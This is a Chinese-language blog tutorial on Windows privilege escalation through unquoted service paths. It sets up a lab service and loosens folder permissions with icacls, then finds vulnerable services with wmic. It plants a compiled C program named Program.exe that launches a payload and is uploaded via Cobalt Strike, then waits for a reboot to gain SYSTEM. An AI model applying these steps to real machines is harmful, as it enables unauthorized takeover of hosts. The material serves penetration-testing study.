热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

操作系统权限提升(四)之系统错误配置TustedServicePaths提权

系列文章操作系统权限提升(一)之操作系统权限介绍操作系统权限提升(二)之常见提权的环境介绍操作系统权限提升(三)之Windows系统内核溢出漏洞提权注:阅读本编文


系列文章

操作系统权限提升(一)之操作系统权限介绍
操作系统权限提升(二)之常见提权的环境介绍
操作系统权限提升(三)之Windows系统内核溢出漏洞提权

注:阅读本编文章前,请先阅读系列文章,以免造成看不懂的情况!!!


系统错误配置提权介绍

随着网络安全的发展和普及,不打补丁的系统少之又少,所以很多时候通过系统自身的漏洞很难提权,这个时候就需要考虑查看是否存在可利用的错误系统配置,例如路径未加引号或未指定可执行文件路径等,总而言之就是因为管理员在配置一些软件的时候存在漏洞导致可以提权的


Tusted Service Paths提权

windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
如果在注册表中存在没有被引用起来的服务路径 如果是如下 C:\Program Files\Some Folder\Service.exe 因为 Program Files 和 Some Folder 都存在空格,就可能存在截断,依次寻找如下的程序并且执行阶段如下:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

我们只需要在相应的目录下制作一个恶意的程序,达到提权的目的即可,所以提权的条件如下:

1、服务路径没有用引号引起来
2、服务的路径中存在空格
3、服务以最高权限启动后
4、当前权限具有到对应目录下写文件

Tusted Service Paths提权环境配置

1、首先创建一个服务,或者自己安装一个软件,路径中存在空格,并且服务的路径中没有引号

sc create "service" binpath= "C:\Program Files\Common Files\service\service.exe" start= auto

在这里插入图片描述
2、查询服务的启动方式和权限

sc qc service

在这里插入图片描述
是system权限和自动启动

3、目前已经满足了提权的条件,还有一点就是我们普通的用户需要有向文件目录下的写权限
查询权限

icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"

在这里插入图片描述
发现只有RX 读取和执行,没有写入权限,执行以下给到写入权限
W写权限,R读权限,X执行权限,F完全访问权限,M修改权限

icacls "C:" /grant "BUILTIN\Users":W

在这里插入图片描述
现在我们再来查看发现用户对于C盘目录下的文件有了可写的权限

icacls "C:"

在这里插入图片描述
此时我们就可以借助普通用户组里的用户来进行提权,这里以apache这个用户为例

在这里插入图片描述


Tusted Service Paths提权实战

1、使用WEBSHELL,或者CS,MSF控制下来,先新建一个用户,然后登陆进去,上线
在这里插入图片描述

2、使用命令查找没有配置引号,和带有空格的服务

wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\\Windows\\" | findstr /i /v """

在这里插入图片描述

3、发现有两个服务,接下俩检查时候具有文件写入的权限

icacls "C:"
icacls "C:\Program Files"
icacls "C:\Program Files\Common Files"

在这里插入图片描述

apache用户对C盘有F权限,完全访问的权限

4、我们查看恶意程序文件的路劲并把它记录下来

在这里插入图片描述

5、做一个Program.exe的恶意软件

#include
#include
int main(){
system("cmd.exe /c C:\\Users\\apache\\Desktop\\1.exe");
return 0;
}

在这里插入图片描述
6、编译,注意这里编译时一定要用Program这个名字,生成这个恶意程序

在这里插入图片描述
在这里插入图片描述
7、然后通过cs向我们的目标靶机上的C盘上传我们的恶意程序

在这里插入图片描述
在这里插入图片描述
6、等待重启上线,提权成功
在这里插入图片描述
在这里插入图片描述







推荐阅读
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • Linux服务器密码过期策略、登录次数限制、私钥登录等配置方法
    本文介绍了在Linux服务器上进行密码过期策略、登录次数限制、私钥登录等配置的方法。通过修改配置文件中的参数,可以设置密码的有效期、最小间隔时间、最小长度,并在密码过期前进行提示。同时还介绍了如何进行公钥登录和修改默认账户用户名的操作。详细步骤和注意事项可参考本文内容。 ... [详细]
  • HDU 2372 El Dorado(DP)的最长上升子序列长度求解方法
    本文介绍了解决HDU 2372 El Dorado问题的一种动态规划方法,通过循环k的方式求解最长上升子序列的长度。具体实现过程包括初始化dp数组、读取数列、计算最长上升子序列长度等步骤。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了OC学习笔记中的@property和@synthesize,包括属性的定义和合成的使用方法。通过示例代码详细讲解了@property和@synthesize的作用和用法。 ... [详细]
  • Webmin远程命令执行漏洞复现及防护方法
    本文介绍了Webmin远程命令执行漏洞CVE-2019-15107的漏洞详情和复现方法,同时提供了防护方法。漏洞存在于Webmin的找回密码页面中,攻击者无需权限即可注入命令并执行任意系统命令。文章还提供了相关参考链接和搭建靶场的步骤。此外,还指出了参考链接中的数据包不准确的问题,并解释了漏洞触发的条件。最后,给出了防护方法以避免受到该漏洞的攻击。 ... [详细]
  • Go Cobra命令行工具入门教程
    本文介绍了Go语言实现的命令行工具Cobra的基本概念、安装方法和入门实践。Cobra被广泛应用于各种项目中,如Kubernetes、Hugo和Github CLI等。通过使用Cobra,我们可以快速创建命令行工具,适用于写测试脚本和各种服务的Admin CLI。文章还通过一个简单的demo演示了Cobra的使用方法。 ... [详细]
  • Imtryingtofigureoutawaytogeneratetorrentfilesfromabucket,usingtheAWSSDKforGo.我正 ... [详细]
  • Spring学习(4):Spring管理对象之间的关联关系
    本文是关于Spring学习的第四篇文章,讲述了Spring框架中管理对象之间的关联关系。文章介绍了MessageService类和MessagePrinter类的实现,并解释了它们之间的关联关系。通过学习本文,读者可以了解Spring框架中对象之间的关联关系的概念和实现方式。 ... [详细]
  • 如何查询zone下的表的信息
    本文介绍了如何通过TcaplusDB知识库查询zone下的表的信息。包括请求地址、GET请求参数说明、返回参数说明等内容。通过curl方法发起请求,并提供了请求示例。 ... [详细]
  • Android系统源码分析Zygote和SystemServer启动过程详解
    本文详细解析了Android系统源码中Zygote和SystemServer的启动过程。首先介绍了系统framework层启动的内容,帮助理解四大组件的启动和管理过程。接着介绍了AMS、PMS等系统服务的作用和调用方式。然后详细分析了Zygote的启动过程,解释了Zygote在Android启动过程中的决定作用。最后通过时序图展示了整个过程。 ... [详细]
  • 本文介绍了如何在Azure应用服务实例上获取.NetCore 3.0+的支持。作者分享了自己在将代码升级为使用.NET Core 3.0时遇到的问题,并提供了解决方法。文章还介绍了在部署过程中使用Kudu构建的方法,并指出了可能出现的错误。此外,还介绍了开发者应用服务计划和免费产品应用服务计划在不同地区的运行情况。最后,文章指出了当前的.NET SDK不支持目标为.NET Core 3.0的问题,并提供了解决方案。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文介绍了使用kotlin实现动画效果的方法,包括上下移动、放大缩小、旋转等功能。通过代码示例演示了如何使用ObjectAnimator和AnimatorSet来实现动画效果,并提供了实现抖动效果的代码。同时还介绍了如何使用translationY和translationX来实现上下和左右移动的效果。最后还提供了一个anim_small.xml文件的代码示例,可以用来实现放大缩小的效果。 ... [详细]
author-avatar
晞沂_364
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有